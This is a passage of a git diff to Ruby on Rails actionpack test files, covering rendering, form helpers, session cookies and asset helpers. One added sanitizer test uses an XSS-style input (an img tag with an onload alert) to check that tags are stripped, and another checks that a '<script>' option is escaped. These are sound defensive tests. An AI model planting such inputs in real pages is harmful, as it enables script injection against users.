'/italians/painters/michelangelo' + assert_equal 'italians#painters', @response.body + end + def test_custom_resource_actions_defined_using_string get '/customers/inactive' assert_equal 'customers#inactive', @response.body diff --git a/actionpack/test/dispatch/session/cookie_store_test.rb b/actionpack/test/dispatch/session/cookie_store_test.rb index 301bf9c6d2..92df6967d6 100644 --- a/actionpack/test/dispatch/session/cookie_store_test.rb +++ b/actionpack/test/dispatch/session/cookie_store_test.rb @@ -5,7 +5,7 @@ class CookieStoreTest < ActionDispatch::IntegrationTest SessionKey = '_myapp_session' SessionSecret = 'b3c631c314c0bbca50c1b2843150fe33' - Verifier = ActiveSupport::MessageVerifier.new(SessionSecret, 'SHA1') + Verifier = ActiveSupport::MessageVerifier.new(SessionSecret, :digest => 'SHA1') SignedBar = Verifier.generate(:foo => "bar", :session_id => SecureRandom.hex(16)) class TestController < ActionController::Base diff --git a/actionpack/test/fixtures/comments/empty.de.html.erb b/actionpack/test/fixtures/comments/empty.de.html.erb new file mode 100644 index 0000000000..cffd90dd26 --- /dev/null +++ b/actionpack/test/fixtures/comments/empty.de.html.erb @@ -0,0 +1 @@ +<h1>Kein Kommentar</h1>
\ No newline at end of file diff --git a/actionpack/test/fixtures/comments/empty.html.builder b/actionpack/test/fixtures/comments/empty.html.builder new file mode 100644 index 0000000000..2b0c7207a3 --- /dev/null +++ b/actionpack/test/fixtures/comments/empty.html.builder @@ -0,0 +1 @@ +xml.h1 'No Comment'
\ No newline at end of file diff --git a/actionpack/test/fixtures/comments/empty.html.erb b/actionpack/test/fixtures/comments/empty.html.erb new file mode 100644 index 0000000000..827f3861de --- /dev/null +++ b/actionpack/test/fixtures/comments/empty.html.erb @@ -0,0 +1 @@ +<h1>No Comment</h1>
\ No newline at end of file diff --git a/actionpack/test/fixtures/comments/empty.xml.erb b/actionpack/test/fixtures/comments/empty.xml.erb new file mode 100644 index 0000000000..db1027cd7d --- /dev/null +++ b/actionpack/test/fixtures/comments/empty.xml.erb @@ -0,0 +1 @@ +<error>No Comment</error>
\ No newline at end of file diff --git a/actionpack/test/fixtures/test/_layout_with_partial_and_yield.html.erb b/actionpack/test/fixtures/test/_layout_with_partial_and_yield.html.erb index 5db0822f07..820e7db789 100644 --- a/actionpack/test/fixtures/test/_layout_with_partial_and_yield.html.erb +++ b/actionpack/test/fixtures/test/_layout_with_partial_and_yield.html.erb @@ -1,4 +1,4 @@ Before -<%= render :partial => "test/partial.html.erb" %> +<%= render :partial => "test/partial" %> <%= yield %> After diff --git a/actionpack/test/fixtures/test/hello,world.erb b/actionpack/test/fixtures/test/hello,world.erb new file mode 100644 index 0000000000..bc8fa5e0ca --- /dev/null +++ b/actionpack/test/fixtures/test/hello,world.erb @@ -0,0 +1 @@ +Hello w*rld!
\ No newline at end of file diff --git a/actionpack/test/lib/controller/fake_models.rb b/actionpack/test/lib/controller/fake_models.rb index cbef74f992..363403092b 100644 --- a/actionpack/test/lib/controller/fake_models.rb +++ b/actionpack/test/lib/controller/fake_models.rb @@ -48,26 +48,19 @@ module Quiz end end -class Post < Struct.new(:title, :author_name, :body, :secret, :written_on, :cost) +class Post < Struct.new(:title, :author_name, :body, :secret, :persisted, :written_on, :cost) extend ActiveModel::Naming include ActiveModel::Conversion extend ActiveModel::Translation alias_method :secret?, :secret + alias_method :persisted?, :persisted def initialize(*args) super @persisted = false end - def persisted=(boolean) - @persisted = boolean - end - - def persisted? - @persisted - end - attr_accessor :author def author_attributes=(attributes); end diff --git a/actionpack/test/template/asset_tag_helper_test.rb b/actionpack/test/template/asset_tag_helper_test.rb index d5bd7256f7..aa7304b3ed 100644 --- a/actionpack/test/template/asset_tag_helper_test.rb +++ b/actionpack/test/template/asset_tag_helper_test.rb @@ -366,6 +366,10 @@ class AssetTagHelperTest < ActionView::TestCase assert stylesheet_link_tag('dir/other/file', 'dir/file2').html_safe? end + def test_stylesheet_link_tag_escapes_options + assert_dom_equal %(<link href="/file.css" media="<script>" rel="stylesheet" type="text/css" />), stylesheet_link_tag('/file', :media => '<script>') + end + def test_custom_stylesheet_expansions ENV["RAILS_ASSET_ID"] = '' ActionView::Helpers::AssetTagHelper::register_stylesheet_expansion :robbery => ["bank", "robber"] @@ -443,7 +447,7 @@ class AssetTagHelperTest < ActionView::TestCase def test_image_tag_windows_behaviour old_asset_id, ENV["RAILS_ASSET_ID"] = ENV["RAILS_ASSET_ID"], "1" - # This simulates the behaviour of File#exist? on windows when testing a file ending in "." + # This simulates the behavior of File#exist? on windows when testing a file ending in "." # If the file "rails.png" exists, windows will return true when asked if "rails.png." exists (notice trailing ".") # OS X, linux etc will return false in this case. File.stubs(:exist?).with('template/../fixtures/public/images/rails.png.').returns(true) @@ -481,7 +485,7 @@ class AssetTagHelperTest < ActionView::TestCase end def test_timebased_asset_id - expected_time = File.stat(File.expand_path(File.dirname(__FILE__) + "/../fixtures/public/images/rails.png")).mtime.to_i.to_s + expected_time = File.mtime(File.expand_path(File.dirname(__FILE__) + "/../fixtures/public/images/rails.png")).to_i.to_s assert_equal %(<img alt="Rails" src="/images/rails.png?#{expected_time}" />), image_tag("rails.png") end @@ -512,7 +516,7 @@ class AssetTagHelperTest < ActionView::TestCase def test_timebased_asset_id_with_relative_url_root @controller.config.relative_url_root = "/collaboration/hieraki" - expected_time = File.stat(File.expand_path(File.dirname(__FILE__) + "/../fixtures/public/images/rails.png")).mtime.to_i.to_s + expected_time = File.mtime(File.expand_path(File.dirname(__FILE__) + "/../fixtures/public/images/rails.png")).to_i.to_s assert_equal %(<img alt="Rails" src="#{@controller.config.relative_url_root}/images/rails.png?#{expected_time}" />), image_tag("rails.png") end diff --git a/actionpack/test/template/capture_helper_test.rb b/actionpack/test/template/capture_helper_test.rb index a9157e711c..13e2d5b595 100644 --- a/actionpack/test/template/capture_helper_test.rb +++ b/actionpack/test/template/capture_helper_test.rb @@ -46,6 +46,42 @@ class CaptureHelperTest < ActionView::TestCase assert_equal "bar", content_for(:bar) end + def test_content_for_with_multiple_calls + assert ! content_for?(:title) + content_for :title, 'foo' + content_for :title, 'bar' + assert_equal 'foobar', content_for(:title) + end + + def test_content_for_with_block + assert ! content_for?(:title) + content_for :title do + output_buffer << 'foo' + output_buffer << 'bar' + nil + end + assert_equal 'foobar', content_for(:title) + end + + def test_content_for_with_whitespace_block + assert ! content_for?(:title) + content_for :title, 'foo' + content_for :title do + output_buffer << " \n " + nil + end + content_for :title, 'bar' + assert_equal 'foobar', content_for(:title) + end + + def test_content_for_returns_nil_when_writing + assert ! content_for?(:title) + assert_equal nil, content_for(:title, 'foo') + assert_equal nil, content_for(:title) { output_buffer << 'bar'; nil } + assert_equal nil, content_for(:title) { output_buffer << " \n "; nil } + assert_equal 'foobar', content_for(:title) + end + def test_content_for_question_mark assert ! content_for?(:title) content_for :title, 'title' diff --git a/actionpack/test/template/compiled_templates_test.rb b/actionpack/test/template/compiled_templates_test.rb index 3f31edd5ce..8fc78283d8 100644 --- a/actionpack/test/template/compiled_templates_test.rb +++ b/actionpack/test/template/compiled_templates_test.rb @@ -10,24 +10,24 @@ class CompiledTemplatesTest < Test::Unit::TestCase end def test_template_gets_recompiled_when_using_different_keys_in_local_assigns - assert_equal "one", render(:file => "test/render_file_with_locals_and_default.erb") - assert_equal "two", render(:file => "test/render_file_with_locals_and_default.erb", :locals => { :secret => "two" }) + assert_equal "one", render(:file => "test/render_file_with_locals_and_default") + assert_equal "two", render(:file => "test/render_file_with_locals_and_default", :locals => { :secret => "two" }) end def test_template_changes_are_not_reflected_with_cached_templates - assert_equal "Hello world!", render(:file => "test/hello_world.erb") + assert_equal "Hello world!", render(:file => "test/hello_world") modify_template "test/hello_world.erb", "Goodbye world!" do - assert_equal "Hello world!", render(:file => "test/hello_world.erb") + assert_equal "Hello world!", render(:file => "test/hello_world") end - assert_equal "Hello world!", render(:file => "test/hello_world.erb") + assert_equal "Hello world!", render(:file => "test/hello_world") end def test_template_changes_are_reflected_with_uncached_templates - assert_equal "Hello world!", render_without_cache(:file => "test/hello_world.erb") + assert_equal "Hello world!", render_without_cache(:file => "test/hello_world") modify_template "test/hello_world.erb", "Goodbye world!" do - assert_equal "Goodbye world!", render_without_cache(:file => "test/hello_world.erb") + assert_equal "Goodbye world!", render_without_cache(:file => "test/hello_world") end - assert_equal "Hello world!", render_without_cache(:file => "test/hello_world.erb") + assert_equal "Hello world!", render_without_cache(:file => "test/hello_world") end private @@ -42,7 +42,7 @@ class CompiledTemplatesTest < Test::Unit::TestCase def render_without_cache(*args) path = ActionView::FileSystemResolver.new(FIXTURE_LOAD_PATH) - view_paths = ActionView::Base.process_view_paths(path) + view_paths = ActionView::PathSet.new([path]) ActionView::Base.new(view_paths, {}).render(*args) end diff --git a/actionpack/test/template/compressors_test.rb b/actionpack/test/template/compressors_test.rb new file mode 100644 index 0000000000..a273f15bd7 --- /dev/null +++ b/actionpack/test/template/compressors_test.rb @@ -0,0 +1,28 @@ +require 'abstract_unit' +require 'sprockets/compressors' + +class CompressorsTest < ActiveSupport::TestCase + def test_register_css_compressor + Sprockets::Compressors.register_css_compressor(:null, Sprockets::NullCompressor) + compressor = Sprockets::Compressors.registered_css_compressor(:null) + assert_kind_of Sprockets::NullCompressor, compressor + end + + def test_register_js_compressor + Sprockets::Compressors.register_js_compressor(:uglifier, 'Uglifier', :require => 'uglifier') + compressor = Sprockets::Compressors.registered_js_compressor(:uglifier) + assert_kind_of Uglifier, compressor + end + + def test_register_default_css_compressor + Sprockets::Compressors.register_css_compressor(:null, Sprockets::NullCompressor, :default => true) + compressor = Sprockets::Compressors.registered_css_compressor(:default) + assert_kind_of Sprockets::NullCompressor, compressor + end + + def test_register_default_js_compressor + Sprockets::Compressors.register_js_compressor(:null, Sprockets::NullCompressor, :default => true) + compressor = Sprockets::Compressors.registered_js_compressor(:default) + assert_kind_of Sprockets::NullCompressor, compressor + end +end diff --git a/actionpack/test/template/date_helper_test.rb b/actionpack/test/template/date_helper_test.rb index 09c53a36f0..af30ec9892 100644 --- a/actionpack/test/template/date_helper_test.rb +++ b/actionpack/test/template/date_helper_test.rb @@ -664,6 +664,15 @@ class DateHelperTest < ActionView::TestCase assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005, :prefix => "date[first]") end + def test_select_date_with_too_big_range_between_start_year_and_end_year + assert_raise(ArgumentError) { select_date(Time.mktime(2003, 8, 16), :start_year => 2000, :end_year => 20000, :prefix => "date[first]", :order => [:month, :day, :year]) } + assert_raise(ArgumentError) { select_date(Time.mktime(2003, 8, 16), :start_year => Date.today.year - 100.years, :end_year => 2000, :prefix => "date[first]", :order => [:month, :day, :year]) } + end + + def test_select_date_can_have_more_then_1000_years_interval_if_forced_via_parameter + assert_nothing_raised { select_date(Time.mktime(2003, 8, 16), :start_year => 2000, :end_year => 3100, :max_years_allowed => 2000) } + end + def test_select_date_with_order expected = %(<select id="date_first_month" name="date[first][month]">\n) expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n) diff --git a/actionpack/test/template/form_helper_test.rb b/actionpack/test/template/form_helper_test.rb index cc3d2cddf7..e36d032f6c 100644 --- a/actionpack/test/template/form_helper_test.rb +++ b/actionpack/test/template/form_helper_test.rb @@ -698,8 +698,7 @@ class FormHelperTest < ActionView::TestCase expected = whole_form("/posts/44", "edit_post_44" , "edit_post", :method => "put") do "<input name='post[title]' size='30' type='text' id='post_title' value='And his name will be forty and four.' />" + - "<input name='commit' type='submit' value='Edit post' />" + - "</form>" + "<input name='commit' type='submit' value='Edit post' />" end assert_dom_equal expected, output_buffer @@ -791,6 +790,23 @@ class FormHelperTest < ActionView::TestCase assert_dom_equal expected, output_buffer end + def test_form_for_with_remote_in_html + form_for(@post, :url => '/', :html => { :remote => true, :id => 'create-post', :method => :put }) do |f| + concat f.text_field(:title) + concat f.text_area(:body) + concat f.check_box(:secret) + end + + expected = whole_form("/", "create-post", "edit_post", :method => "put", :remote => true) do + "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" + + "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" + + "<input name='post[secret]' type='hidden' value='0' />" + + "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" + end + + assert_dom_equal expected, output_buffer + end + def test_form_for_with_remote_without_html @post.persisted = false form_for(@post, :remote => true) do |f| @@ -1874,6 +1890,17 @@ class FormHelperTest < ActionView::TestCase assert_equal LabelledFormBuilder, klass end + def test_form_for_with_labelled_builder_path + path = nil + + form_for(@post, :builder => LabelledFormBuilder) do |f| + path = f.to_partial_path + '' + end + + assert_equal 'labelled_form', path + end + class LabelledFormBuilderSubclass < LabelledFormBuilder; end def test_form_for_with_labelled_builder_with_nested_fields_for_with_custom_builder diff --git a/actionpack/test/template/form_options_helper_test.rb b/actionpack/test/template/form_options_helper_test.rb index 6aea991f7c..d3e0cc41a9 100644 --- a/actionpack/test/template/form_options_helper_test.rb +++ b/actionpack/test/template/form_options_helper_test.rb @@ -587,6 +587,15 @@ class FormOptionsHelperTest < ActionView::TestCase ) end + def test_empty + @post = Post.new + @post.category = "" + assert_dom_equal( + "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"\"></option>\n</select>", + select("post", "category", [], :prompt => true, :include_blank => true) + ) + end + def test_select_with_selected_value @post = Post.new @post.category = "<mus>" diff --git a/actionpack/test/template/form_tag_helper_test.rb b/actionpack/test/template/form_tag_helper_test.rb index 979251bfd1..6eae9bf846 100644 --- a/actionpack/test/template/form_tag_helper_test.rb +++ b/actionpack/test/template/form_tag_helper_test.rb @@ -505,6 +505,36 @@ class FormTagHelperTest < ActionView::TestCase expected = %(<fieldset class="format">Hello world!</fieldset>) assert_dom_equal expected, output_buffer end + + def test_text_area_tag_options_symbolize_keys_side_effects + options = { :option => "random_option" } + text_area_tag "body", "hello world", options + assert_equal options, { :option => "random_option" } + end + + def test_submit_tag_options_symbolize_keys_side_effects + options = { :option => "random_option" } + submit_tag "submit value", options + assert_equal options, { :option => "random_option" } + end + + def test_button_tag_options_symbolize_keys_side_effects + options = { :option => "random_option" } + button_tag "button value", options + assert_equal options, { :option => "random_option" } + end + + def test_image_submit_tag_options_symbolize_keys_side_effects + options = { :option => "random_option" } + image_submit_tag "submit source", options + assert_equal options, { :option => "random_option" } + end + + def test_image_label_tag_options_symbolize_keys_side_effects + options = { :option => "random_option" } + label_tag "submit source", "title", options + assert_equal options, { :option => "random_option" } + end def protect_against_forgery? false diff --git a/actionpack/test/template/html-scanner/sanitizer_test.rb b/actionpack/test/template/html-scanner/sanitizer_test.rb index 678cb9eeeb..62ad6be680 100644 --- a/actionpack/test/template/html-scanner/sanitizer_test.rb +++ b/actionpack/test/template/html-scanner/sanitizer_test.rb @@ -5,6 +5,13 @@ class SanitizerTest < ActionController::TestCase @sanitizer = nil # used by assert_sanitizer end + def test_strip_tags_with_quote + sanitizer = HTML::FullSanitizer.new + string = '<" <img src="trollface.gif" onload="alert(1)"> hi' + + assert_equal ' hi', sanitizer.sanitize(string) + end + def test_strip_tags sanitizer = HTML::FullSanitizer.new assert_equal("<<<bad html", sanitizer.sanitize("<<<bad html")) diff --git a/actionpack/test/template/javascript_helper_test.rb b/actionpack/test/template/javascript_helper_test.rb index dd8b7b7cd5..4b9c3c97b1 100644 --- a/actionpack/test/template/javascript_helper_test.rb +++ b/actionpack/test/template/javascript_helper_test.rb @@ -1,4 +1,5 @@ require 'abstract_unit' +require 'active_support/core_ext/string/encoding' class JavaScriptHelperTest < ActionView::TestCase tests ActionView::Helpers::JavaScriptHelper @@ -27,6 +28,11 @@ class JavaScriptHelperTest < ActionView::TestCase assert_equal %(This \\"thing\\" is really\\n netos\\'), escape_javascript(%(This "thing" is really\n netos')) assert_equal %(backslash\\\\test), escape_javascript( %(backslash\\test) ) assert_equal %(dont <\\/close> tags), escape_javascript(%(dont </close> tags)) + if "ruby".encoding_aware? + assert_equal %(unicode 
 newline), escape_javascript(%(unicode \342\200\250 newline).force_encoding('UTF-8').encode!) + else + assert_equal %(unicode 
 newline), escape_javascript(%(unicode \342\200\250 newline)) + end assert_equal %(dont <\\/close> tags), j(%(dont </close> tags)) end diff --git a/actionpack/test/template/log_subscriber_test.rb b/actionpack/test/template/log_subscriber_test.rb index 50e1cccd3b..752b0f23a8 100644 --- a/actionpack/test/template/log_subscriber_test.rb +++ b/actionpack/test/template/log_subscriber_test.rb @@ -27,7 +27,7 @@ class AVLogSubscriberTest < ActiveSupport::TestCase end def test_render_file_template - @view.render(:file => "test/hello_world.erb") + @view.render(:file => "test/hello_world") wait assert_equal 1, @logger.logged(:info).size diff --git a/actionpack/test/template/lookup_context_test.rb b/actionpack/test/template/lookup_context_test.rb index 47b70f05ab..bac2530e3d 100644 --- a/actionpack/test/template/lookup_context_test.rb +++ b/actionpack/test/template/lookup_context_test.rb @@ -31,16 +31,6 @@ class LookupContextTest < ActiveSupport::TestCase assert @lookup_context.formats.frozen? end - test "allows me to change some details to execute an specific block of code" do - formats = Mime::SET - @lookup_context.update_details(:locale => :pt) do - assert_equal formats, @lookup_context.formats - assert_equal :pt, @lookup_context.locale - end - assert_equal formats, @lookup_context.formats - assert_equal :en, @lookup_context.locale - end - test "provides getters and setters for formats" do @lookup_context.formats = [:html] assert_equal [:html], @lookup_context.formats diff --git a/actionpack/test/template/record_tag_helper_test.rb b/actionpack/test/template/record_tag_helper_test.rb index 1ba14e8bc9..7f23629e05 100644 --- a/actionpack/test/template/record_tag_helper_test.rb +++ b/actionpack/test/template/record_tag_helper_test.rb @@ -4,11 +4,20 @@ require 'controller/fake_models' class Post extend ActiveModel::Naming include ActiveModel::Conversion + attr_writer :id, :body + + def initialize + @id = nil + @body = nil + super + end + def id - 45 + @id || 45 end + def body - super || "What a wonderful world!" + super || @body || "What a wonderful world!" end end @@ -58,4 +67,32 @@ class RecordTagHelperTest < ActionView::TestCase actual = div_for(@post, :class => "bar") { concat @post.body } assert_dom_equal expected, actual end + + def test_content_tag_for_collection + post_1 = Post.new.tap { |post| post.id = 101; post.body = "Hello!"; post.persisted = true } + post_2 = Post.new.tap { |post| post.id = 102; post.body = "World!"; post.persisted = true } + expected = %(<li class="post" id="post_101">Hello!</li>\n<li class="post" id="post_102">World!</li>) + actual = content_tag_for(:li, [post_1, post_2]) { |post| concat post.body } + assert_dom_equal expected, actual + end + + def test_div_for_collection + post_1 = Post.new.tap { |post| post.id = 101; post.body = "Hello!"; post.persisted = true } + post_2 = Post.new.tap { |post| post.id = 102; post.body = "World!"; post.persisted = true } + expected = %(<div class="post" id="post_101">Hello!</div>\n<div class="post" id="post_102">World!</div>) + actual = div_for([post_1, post_2]) { |post| concat post.body } + assert_dom_equal expected, actual + end + + def test_content_tag_for_single_record_is_html_safe + result = div_for(@post, :class => "bar") { concat @post.body } + assert result.html_safe? + end + + def test_content_tag_for_collection_is_html_safe + post_1 = Post.new.tap { |post| post.id = 101; post.body = "Hello!"; post.persisted = true } + post_2 = Post.new.tap { |post| post.id = 102; post.body = "World!"; post.persisted = true } + result = content_tag_for(:li, [post_1, post_2]) { |post| concat post.body } + assert result.html_safe? + end end diff --git a/actionpack/test/template/render_test.rb b/actionpack/test/template/render_test.rb index 68b2ed45d1..0ef3239f83 100644 --- a/actionpack/test/template/render_test.rb +++ b/actionpack/test/template/render_test.rb @@ -21,18 +21,48 @@ module RenderTestCases end def test_render_file - assert_equal "Hello world!", @view.render(:file => "test/hello_world.erb") + assert_equal "Hello world!", @view.render(:file => "test/hello_world") end def test_render_file_not_using_full_path - assert_equal "Hello world!", @view.render(:file => "test/hello_world.erb") + assert_equal "Hello world!", @view.render(:file => "test/hello_world") end def test_render_file_without_specific_extension assert_equal "Hello world!", @view.render(:file => "test/hello_world") end - def test_render_file_with_localization + # Test if :formats, :locale etc. options are passed correctly to the resolvers. + def test_render_file_with_format + assert_match "<h1>No Comment</h1>", @view.render(:file => "comments/empty", :formats => [:html]) + assert_match "<error>No Comment</error>", @view.render(:file => "comments/empty", :formats => [:xml]) + assert_match "<error>No Comment</error>", @view.render(:file => "comments/empty", :formats => :xml) + end + + def test_render_template_with_format + assert_match "<h1>No Comment</h1>", @view.render(:template => "comments/empty", :formats => [:html]) + assert_match "<error>No Comment</error>", @view.render(:template => "comments/empty", :formats => [:xml]) + end + + def test_render_file_with_locale + assert_equal "<h1>Kein Kommentar</h1>", @view.render(:file => "comments/empty", :locale => [:de]) + assert_equal "<h1>Kein Kommentar</h1>", @view.render(:file => "comments/empty", :locale => :de) + end + + def test_render_template_with_locale + assert_equal "<h1>Kein Kommentar</h1>", @view.render(:template => "comments/empty", :locale => [:de]) + end + + def test_render_file_with_handlers + assert_equal "<h1>No Comment</h1>\n", @view.render(:file => "comments/empty", :handlers => [:builder]) + assert_equal "<h1>No Comment</h1>\n", @view.render(:file => "comments/empty", :handlers => :builder) + end + + def test_render_template_with_handlers + assert_equal "<h1>No Comment</h1>\n", @view.render(:template => "comments/empty", :handlers => [:builder]) + end + + def test_render_file_with_localization_on_context_level old_locale, @view.locale = @view.locale, :da assert_equal "Hey verden", @view.render(:file => "test/hello_world") ensure @@ -51,17 +81,17 @@ module RenderTestCases end def test_render_file_with_full_path - template_path = File.join(File.dirname(__FILE__), '../fixtures/test/hello_world.erb') + template_path = File.join(File.dirname(__FILE__), '../fixtures/test/hello_world') assert_equal "Hello world!", @view.render(:file => template_path) end def test_render_file_with_instance_variables - assert_equal "The secret is in the sauce\n", @view.render(:file => "test/render_file_with_ivar.erb") + assert_equal "The secret is in the sauce\n", @view.render(:file => "test/render_file_with_ivar") end def test_render_file_with_locals locals = { :secret => 'in the sauce' } - assert_equal "The secret is in the sauce\n", @view.render(:file => "test/render_file_with_locals.erb", :locals => locals) + assert_equal "The secret is in the sauce\n", @view.render(:file => "test/render_file_with_locals", :locals => locals) end def test_render_file_not_using_full_path_with_dot_in_path @@ -80,13 +110,18 @@ module RenderTestCases assert_equal 'partial html', @view.render(:partial => 'test/partial') end + def test_render_partial_with_selected_format + assert_equal 'partial html', @view.render(:partial => 'test/partial', :formats => :html) + assert_equal 'partial js', @view.render(:partial => 'test/partial', :formats => [:js]) + end + def test_render_partial_at_top_level - # file fixtures/_top_level_partial_only.erb (not fixtures/test) + # file fixtures/_top_level_partial_only (not fixtures/test) assert_equal 'top level partial', @view.render(:partial => '/top_level_partial_only') end def test_render_partial_with_format_at_top_level - # file fixtures/_top_level_partial.html.erb (not fixtures/test, with format extension) + # file fixtures/_top_level_partial.html (not fixtures/test, with format extension) assert_equal 'top level partial html', @view.render(:partial => '/top_level_partial') end @@ -201,6 +236,36 @@ module RenderTestCases @controller_view.render(customers, :greeting => "Hello") end + class CustomerWithDeprecatedPartialPath + attr_reader :name + + def self.model_name + Struct.new(:partial_path).new("customers/customer") + end + + def initialize(name) + @name = name + end + end + + def test_render_partial_using_object_with_deprecated_partial_path + assert_deprecated(/#model_name.*#partial_path.*#to_partial_path/) do + assert_equal "Hello: nertzy", + @controller_view.render(CustomerWithDeprecatedPartialPath.new("nertzy"), :greeting => "Hello") + end + end + + def test_render_partial_using_collection_with_deprecated_partial_path + assert_deprecated(/#model_name.*#partial_path.*#to_partial_path/) do + customers = [ + CustomerWithDeprecatedPartialPath.new("nertzy"), + CustomerWithDeprecatedPartialPath.new("peeja") + ] + assert_equal "Hello: nertzyHello: peeja", + @controller_view.render(customers, :greeting => "Hello") + end + end + # TODO: The reason for this test is unclear, improve documentation def test_render_partial_and_fallback_to_layout assert_equal "Before (Josh)\n\nAfter", @view.render(:partial => "test/layout_for_partial", :locals => { :name => "Josh" }) @@ -215,7 +280,7 @@ module RenderTestCases end def test_render_layout_with_block_and_other_partial_inside - render = @view.render(:layout => "test/layout_with_partial_and_yield.html.erb") { "Yield!" } + render = @view.render(:layout => "test/layout_with_partial_and_yield") { "Yield!" } assert_equal "Before\npartial html\nYield!\nAfter\n", render end @@ -252,24 +317,26 @@ module RenderTestCases end def test_render_ignores_templates_with_malformed_template_handlers - %w(malformed malformed.erb malformed.html.erb malformed.en.html.erb).each do |name| - assert_raise(ActionView::MissingTemplate) { @view.render(:file => "test/malformed/#{name}") } + ActiveSupport::Deprecation.silence do + %w(malformed malformed.erb malformed.html.erb malformed.en.html.erb).each do |name| + assert_raise(ActionView::MissingTemplate) { @view.render(:file => "test/malformed/#{name}") } + end end end def test_render_with_layout assert_equal %(<title></title>\nHello world!\n), - @view.render(:file => "test/hello_world.erb", :layout => "layouts/yield") + @view.render(:file => "test/hello_world", :layout => "layouts/yield") end def test_render_with_layout_which_has_render_inline assert_equal %(welcome\nHello world!\n), - @view.render(:file => "test/hello_world.erb", :layout => "layouts/yield_with_render_inline_inside") + @view.render(:file => "test/hello_world", :layout => "layouts/yield_with_render_inline_inside") end def test_render_with_layout_which_renders_another_partial assert_equal %(partial html\nHello world!\n), - @view.render(:file => "test/hello_world.erb", :layout => "layouts/yield_with_render_partial_inside") + @view.render(:file => "test/hello_world", :layout => "layouts/yield_with_render_partial_inside") end def test_render_layout_with_block_and_yield @@ -314,17 +381,17 @@ module RenderTestCases def test_render_with_nested_layout assert_equal %(<title>title</title>\n\n<div id="column">column</div>\n<div id="content">content</div>\n), - @view.render(:file => "test/nested_layout.erb", :layout => "layouts/yield") + @view.render(:file => "test/nested_layout", :layout => "layouts/yield") end def test_render_with_file_in_layout assert_equal %(\n<title>title</title>\n\n), - @view.render(:file => "test/layout_render_file.erb") + @view.render(:file => "test/layout_render_file") end def test_render_layout_with_object assert_equal %(<title>David</title>), - @view.render(:file => "test/layout_render_object.erb") + @view.render(:file => "test/layout_render_object") end end @@ -350,7 +417,7 @@ class LazyViewRenderTest < ActiveSupport::TestCase # is not eager loaded def setup path = ActionView::FileSystemResolver.new(FIXTURE_LOAD_PATH) - view_paths = ActionView::Base.process_view_paths(path) + view_paths = ActionView::PathSet.new([path]) assert_equal ActionView::FileSystemResolver.new(FIXTURE_LOAD_PATH), view_paths.first setup_view(view_paths) end @@ -362,7 +429,7 @@ class LazyViewRenderTest < ActiveSupport::TestCase if '1.9'.respond_to?(:force_encoding) def test_render_utf8_template_with_magic_comment with_external_encoding Encoding::ASCII_8BIT do - result = @view.render(:file => "test/utf8_magic.html.erb", :layouts => "layouts/yield") + result = @view.render(:file => "test/utf8_magic.html", :layouts => "layouts/yield") assert_equal Encoding::UTF_8, result.encoding assert_equal "\nРусский \nтекст\n\nUTF-8\nUTF-8\nUTF-8\n", result end @@ -370,7 +437,7 @@ class LazyViewRenderTest < ActiveSupport::TestCase def test_render_utf8_template_with_default_external_encoding with_external_encoding Encoding::UTF_8 do - result = @view.render(:file => "test/utf8.html.erb", :layouts => "layouts/yield") + result = @view.render(:file => "test/utf8.html", :layouts => "layouts/yield") assert_equal Encoding::UTF_8, result.encoding assert_equal "Русский текст\n\nUTF-8\nUTF-8\nUTF-8\n", result end @@ -379,7 +446,7 @@ class LazyViewRenderTest < ActiveSupport::TestCase def test_render_utf8_template_with_incompatible_external_encoding with_external_encoding Encoding::SHIFT_JIS do begin - @view.render(:file => "test/utf8.html.erb", :layouts => "layouts/yield") + @view.render(:file => "test/utf8.html", :layouts => "layouts/yield") flunk 'Should have raised incompatible encoding error' rescue ActionView::Template::Error => error assert_match 'Your template was not saved as valid Shift_JIS', error.original_exception.message @@ -390,7 +457,7 @@ class LazyViewRenderTest < ActiveSupport::TestCase def test_render_utf8_template_with_partial_with_incompatible_encoding with_external_encoding Encoding::SHIFT_JIS do begin - @view.render(:file => "test/utf8_magic_with_bare_partial.html.erb", :layouts => "layouts/yield") + @view.render(:file => "test/utf8_magic_with_bare_partial.html", :layouts => "layouts/yield") flunk 'Should have raised incompatible encoding error' rescue ActionView::Template::Error => error assert_match 'Your template was not saved as valid Shift_JIS', error.original_exception.message diff --git a/actionpack/test/template/sprockets_helper_test.rb b/actionpack/test/template/sprockets_helper_test.rb index f11d1bba15..db69f95130 100644 --- a/actionpack/test/template/sprockets_helper_test.rb +++ b/actionpack/test/template/sprockets_helper_test.rb @@ -4,45 +4,60 @@ require 'sprockets/helpers/rails_helper' require 'mocha' class SprocketsHelperTest < ActionView::TestCase - tests Sprockets::Helpers::RailsHelper + include Sprockets::Helpers::RailsHelper attr_accessor :assets + class MockRequest + def protocol() 'http://' end + def ssl?() false end + def host_with_port() 'localhost' end + end + def setup super - @controller = BasicController.new - @controller.stubs(:params).returns({}) - - @request = Class.new do - def protocol() 'http://' end - def ssl?() false end - def host_with_port() 'localhost' end - end.new - - @controller.request = @request + @controller = BasicController.new + @controller.request = MockRequest.new @assets = Sprockets::Environment.new - @assets.paths << FIXTURES.join("sprockets/app/javascripts") - @assets.paths << FIXTURES.join("sprockets/app/stylesheets") - @assets.paths << FIXTURES.join("sprockets/app/images") + @assets.append_path(FIXTURES.join("sprockets/app/javascripts")) + @assets.append_path(FIXTURES.join("sprockets/app/stylesheets")) + @assets.append_path(FIXTURES.join("sprockets/app/images")) - application = Object.new + application = Struct.new(:config, :assets).new(config, @assets) Rails.stubs(:application).returns(application) - application.stubs(:config).returns(config) - application.stubs(:assets).returns(@assets) @config = config - @config.action_controller ||= ActiveSupport::InheritableOptions.new @config.perform_caching = true + @config.assets.digest = true + @config.assets.compile = true end def url_for(*args) "http://www.example.com" end + def config + @controller ? @controller.config : @config + end + test "asset_path" do - assert_equal "/assets/logo-9c0a079bdd7701d7e729bd956823d153.png", + assert_match %r{/assets/logo-[0-9a-f]+.png}, asset_path("logo.png") + assert_match 